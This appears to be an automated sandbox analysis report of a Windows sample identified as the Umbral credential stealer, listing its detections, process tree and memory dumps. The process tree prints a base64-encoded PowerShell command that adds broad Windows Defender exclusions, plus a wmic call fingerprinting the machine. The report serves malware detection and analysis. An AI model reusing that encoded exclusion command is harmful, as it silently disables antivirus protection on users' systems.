Analysis
- max time kernel
90s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
12/02/2024, 02:01
General
- Target idk2.exe
- Size 235KB
- Sample240212-cfkdjsgh87
- SHA256 f36f29328d18f9d764b1a9e1e278750d21164ae1c1a25307d018a8e4e17c7c08
Malware Config
Signatures
- Detect Umbral payload 2 IoCs
- Umbral
Umbral stealer is an opensource moduler stealer written in C#.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\idk2.exe"C:\Users\Admin\AppData\Local\Temp\idk2.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcABnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAZABxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AcgBuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBpACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Umbral.exe
__PSScriptPolicyTest_hecvifzo.dw3.ps1
memory/1644-34-0x000000007EF20000-0x000000007EF30000-memory.dmp
memory/1644-46-0x0000000006A80000-0x0000000006A9E000-memory.dmp
memory/1644-14-0x00000000021A0000-0x00000000021D6000-memory.dmp
memory/1644-15-0x0000000074FA0000-0x0000000075750000-memory.dmp
memory/1644-17-0x0000000004EA0000-0x00000000054C8000-memory.dmp
memory/1644-16-0x0000000004860000-0x0000000004870000-memory.dmp
memory/1644-18-0x0000000004860000-0x0000000004870000-memory.dmp
memory/1644-19-0x0000000004B10000-0x0000000004B32000-memory.dmp
memory/1644-36-0x0000000070D40000-0x0000000070D8C000-memory.dmp
memory/1644-60-0x0000000074FA0000-0x0000000075750000-memory.dmp
memory/1644-21-0x00000000054D0000-0x0000000005536000-memory.dmp
memory/1644-31-0x0000000005640000-0x0000000005994000-memory.dmp
memory/1644-32-0x0000000005AB0000-0x0000000005ACE000-memory.dmp
memory/1644-33-0x0000000005B00000-0x0000000005B4C000-memory.dmp
memory/1644-57-0x0000000007060000-0x0000000007068000-memory.dmp
memory/1644-56-0x0000000007110000-0x000000000712A000-memory.dmp
memory/1644-20-0x0000000004DB0000-0x0000000004E16000-memory.dmp
memory/1644-35-0x0000000006080000-0x00000000060B2000-memory.dmp
memory/1644-47-0x0000000004860000-0x0000000004870000-memory.dmp
memory/1644-48-0x0000000006CA0000-0x0000000006D43000-memory.dmp
memory/1644-49-0x0000000007420000-0x0000000007A9A000-memory.dmp
memory/1644-50-0x0000000006DE0000-0x0000000006DFA000-memory.dmp
memory/1644-51-0x0000000006E50000-0x0000000006E5A000-memory.dmp
memory/1644-52-0x0000000007070000-0x0000000007106000-memory.dmp
memory/1644-53-0x0000000006FE0000-0x0000000006FF1000-memory.dmp
memory/1644-54-0x0000000007020000-0x000000000702E000-memory.dmp
memory/1644-55-0x0000000007030000-0x0000000007044000-memory.dmp
memory/2464-11-0x000001B6B68A0000-0x000001B6B68E0000-memory.dmp
memory/2464-13-0x000001B6B8770000-0x000001B6B8780000-memory.dmp
memory/2464-12-0x00007FFDCAC20000-0x00007FFDCB6E1000-memory.dmp
memory/2464-61-0x00007FFDCAC20000-0x00007FFDCB6E1000-memory.dmp
memory/2464-63-0x00007FFDCAC20000-0x00007FFDCB6E1000-memory.dmp